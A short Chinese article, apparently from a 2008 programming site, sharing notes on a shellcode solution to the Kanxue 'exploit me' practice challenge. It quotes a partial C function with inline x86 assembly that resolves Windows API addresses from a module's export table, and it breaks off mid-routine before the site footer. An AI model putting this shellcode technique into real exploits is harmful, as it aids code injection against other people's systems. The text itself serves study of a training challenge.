shellcode之小小琢磨

2008-04-16 10:06:06 来源:中国自学编程网 作者:佚名 点击:
本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。

      本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。
      高手大致可以飘过。

    昨天在研究看雪exploit me挑战赛中的exploitmeA例子的时候,仔细阅读了一下combojiang的答案。
combojiang的shellcode确实不凡,包括查找kernel32.dll的位置,查找GetProcAddress和MessageBoxA函数的地址,加密解密shellcode. 但是有一个问题,shellcode最终不能使得程序安静的退出!

    在文章中,作者构建shellcode的代码如下:

引用:
void  ShellcodeFunc()
{
  unsigned int uLoadLibrary,uGetProcAddress,uKernelBase,uLibHandle;
  unsigned int ImageBase,flen;
  char *FuncName;  
  
  __asm
  {  
    ///////////////////////////        // shellcode开始标记,方便截取shellcode,这里没启用
    //signature of ShellcodeStart
//    _emit ’S’   
//    _emit ’h’
//    _emit ’e’
//    _emit ’l’
//    _emit ’l’
//    _emit ’c’
//    _emit ’o’
//    _emit ’d’
//    _emit ’e’
//    _emit ’S’
//    _emit ’t’
//    _emit ’a’
//    _emit ’r’
//    _emit ’t’    ////////////////////////////

    jmp Start
GetFunc:
    mov eax,ImageBase
    mov eax,[eax+0x3c]    
    add eax,ImageBase    
    mov eax,[eax+0x78]      
    add eax,ImageBase    
    mov esi,eax          
    mov ecx,[eax+0x18]    
    mov eax,[eax+0x20]    
    add eax,ImageBase
    mov ebx,eax  
    xor edx,edx
FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb    
    pop esi      
    je  Found  
    inc edx  
    add ebx,4
    mov eax,ebx
    pop ecx
    loop FindLoop    
Found:
    add esp,4
    mov eax,esi
    mov eax,[eax+0x1c]    
    add eax,ImageBase    
    shl edx,2
    add eax,edx
9 7 3 1 2 3 4 5 6 4 8 :


logo

本类最新行业评测技巧教程学院
本类热点本日本周本月
本类推荐本日本周本月

广告联系 | 版权说明 | 意见建议 | 加入收藏 | 军网站群 [ 军软件园 - 军软件商城 - 军软件园论坛 ]

电信与信息服务业务经营许可证:京ICP证050203